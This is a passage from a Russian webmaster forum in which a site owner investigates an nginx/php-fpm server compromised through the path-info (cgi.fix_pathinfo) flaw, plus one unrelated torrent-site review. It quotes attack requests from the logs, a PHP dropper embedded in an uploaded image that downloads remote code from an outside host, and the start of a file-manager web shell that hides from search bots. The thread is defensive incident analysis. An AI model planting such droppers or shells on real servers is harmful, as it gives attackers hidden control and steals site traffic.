Reise

Рейтинг
174
Регистрация
22.06.2007
iopiop:
А вы в логах можете поставить чтобы Host из хттп заголовка тоже логировался?

наверно можно, но я и так точно знаю, что это урл-ы другого хоста. На сервере все мои сайты и я четко знаю их структуру. Между собой они никак не перелинкованы.

iopiop:
Sitemap проверить, беклинки.

конечно. В сайтмепе все правильно и у каждого хоста свой сайтмеп, беков на эти страницы нет.

iopiop:
Если у вас оба сайта на одном IP сидят то днс ни при чем

Сайты на разных IP.

ТС создал сайт с торрентами. Система, установленная на ДЛЕ, действительно работает: сиды и пиры могут слегка отличаться от реальных, но как уверил меня ТС - к ним приближенные, все остальные данные (имя файла, размер) - реальные.

ТС любезно ответил на все мои многочисленные вопросы по поводу функционирования и наполнения такого сайта.

Сотрудничеством доволен на все 100.

Еще отпишу после попадания сайта в индекс.

netwind:
find . -type f |xargs grep '<?php'

Спасибо за команду, сейчас пройдусь.

netwind:
а этот файл проверили?

Да, в нем все чисто. Очевидно favicon.ico используют чисто для идентификации уязвимости. Это выгодно делать, потому что такая картинка есть практически на любом сайте.

netwind:
лучше даже во всех картинках сразу код поискать.

а как это сделать, если их десятки тысяч аватарок?

netwind:
Проверьте, например с помощью функции phpinfo() из обычного скрипта действительно ли эта настройка отключается.

Отключается, но не помогает.

mind3:
потом видимо массово используя уязвимость пропатчивают сайты своим кодом и гребут трафик, в то время как вебмастер даже не догадывается что что-то изменилось на сайте. Кошмар короче.

Вы знаете, на этом сервере действительно падает постепенно траф практически на всех сайтах. Причину установить не могу, тем более позиции на месте. С вами можно как-то связаться, может у вас есть какие-то подходы к обнаружению сабжа. За помощь естественно готов заплатить.

mind3:
У вас логе написан запрос к файлу 1.php, посмотрите у вас есть такой скрипт на сайте?

сейчас там его нет, но не факт что был раньше и его уже удалили. Да и вообще при таком раскладе отлично срабатывал шелл вшитый в картинку - я проверял, так что другого скрипта и не надо.

mind3:
Если вы действительно используете nginx кажется кто-то пытается использовать уязвимость связанную с настройкой этого вебсервера в связке с пхп.
Вот ссылка на статью, в которой кажется ваш случай http://habrahabr.ru/blogs/sysadm/100961/

Да, советы прочитал, подправил конфиги. Но конечно гарантии нет, что если уязвимость уже используется, какие-то манипуляции ее перекроют.

Reise добавил 21.11.2011 в 03:40

Вот еще интересная последовательность запросов:

95.32.2.11 - - [07/Oct/2011:19:35:12 +0200] "GET /favicon.ico/.php HTTP/1.1" 200 330 "-" "-"
95.32.2.11 - - [07/Oct/2011:19:35:22 +0200] "GET /favicon.ico/.php HTTP/1.1" 200 330 "-" "-"
95.32.2.11 - - [07/Oct/2011:19:37:24 +0200] "GET /favicon.ico/.php HTTP/1.1" 200 122 "-" "Mozilla/5.0 (Windows NT 6.1; rv:7.0.1) Gecko/20100101 Firefox/7.0.1"
95.32.2.11 - - [07/Oct/2011:19:38:22 +0200] "GET /uploads/fotos/foto_107953.jpg/.php HTTP/1.1" 200 534 "-" "Mozilla/5.0 (Windows NT 6.1; rv:7.0.1) Gecko/20100101 Firefox/7.0.1"
95.32.2.11 - - [07/Oct/2011:19:38:27 +0200] "GET /uploads/fotos/1234567.php HTTP/1.1" 200 145777 "-" "Mozilla/5.0 (Windows NT 6.1; rv:7.0.1) Gecko/20100101 Firefox/7.0.1"

Обратите внимание на размер ответа - каждый раз разный, чтобы это значило?

При это к картинке foto_107953.jpg дописан код:

<?php^M
$file = file_get_contents('http://lbest-vrn.ru/6666.txt');^M
$brd = fopen('1234567.php','w+');^M
$write = fwrite($brd, $file);^M
?>
netwind:
Снова создайте такой же файл png в том же каталоге с содержимым
123<?php phpinfo(); ?>

Если открывать через браузер, выдает:

The image "site.ru/uploads/fotos/foto_110011.png" cannot be displayed because it contains errors

Если скачать этот файл и просмотреть, то так и остается 123<?php phpinfo(); ?>. Но я же говорю - сейчас php там не выполняется, но тогда точно выполнялось.

Reise добавил 20.11.2011 в 23:46

netwind:
Разве не интересно узнать, удалось ли им запустить шелл ?

интересно, так и сделаю :)

Правда сейчас как я понимаю уже надо 2 настройки: cgi.fix_pathinfo=1 в /etc/php5/fpm/php.ini и убрать отдельный локейшен uploads из конфига nginx, чтобы php там выполнялся.

Reise добавил 21.11.2011 в 00:04

netwind:
Кстати, попробуйте на короткое время эту настройку включить. Разве не интересно узнать, удалось ли им запустить шелл ?

Проверил. Результаты не порадовали.

Достаточно не запрещать обработку php в папке uploads - и по урлу /uploads/fotos/foto_110011.png/1.php срабатывает шелл и открывается файлменеджер.

Причем по урл-у /uploads/fotos/foto_110011.png благополучно открывается картинка.

И что интересно, это никак не зависит от настройки cgi.fix_pathinfo.

П.С. Вот блеать хакеры - руки отрывал бы за такое...

Reise добавил 21.11.2011 в 00:09

Qwazar:
Советую прочитать: http://habrahabr.ru/blogs/sysadm/100961/

Спасибо, уже читаю.

Andreyka:
Убери обработку php из upload

Я это уже убрал, но только вчера, а заливка шелла состоялась гораздо раньше.

Andreyka:
Это вообще-то вебмастера в детском саде уже должны знать

Может быть сис-админы? :)

netwind:
Не похоже на шелл, но похоже на тест исполнения.

Это шелл самый настоящий, я просто привел часть кода, если кому интересно прикрепляю его код.

netwind:
Убедиться, что сервер не исполняет такие файлы png как php

Сейчас наверно уже не исполняет, сделал cgi.fix_pathinfo=0 в php.ini, а по умолчанию то как раз Default is 1.

netwind:
Соберите другие запросы от этих IP и проанализируйте.

Спасибо за наводку, так и делаю, может еще что найду.

Reise добавил 20.11.2011 в 23:17

madoff:
А если у него nginx + fpm

у меня именно nginx + php-fpm, но cgi.fix_pathinfo было 1 - это как я понимаю дает возможность делать такие трюки.

madoff:
Что это за файл 1.php - судя по запросу он у вас существует.

сейчас там его нет, но может тогда и был, у меня только сегодня дошли руки до логов.

Reise:
foto_110011.png/1.php

Да, проверил foto_110011.png vim'ом - и офигел, сверху идет очевидно действительно код картинки (не читабельные символы), а ниже тупо php-код, который начинается так:

#$auth_pass = md5("lopezpopez");
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';

if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
exit;
}
}

Reise добавил 20.11.2011 в 23:12

netwind:
учитывая код ошибки - 200 и целых 181009 байт в ответе, надо бы проверить внутри файла наличие php-кода в файле /uploads/fotos/foto_110011.png

Да, спасибо, есть код, файл пока удалил от греха подальше. Я так понимаю это шелл, только как его можно вызывать, если это png-картинка?

Всего: 1587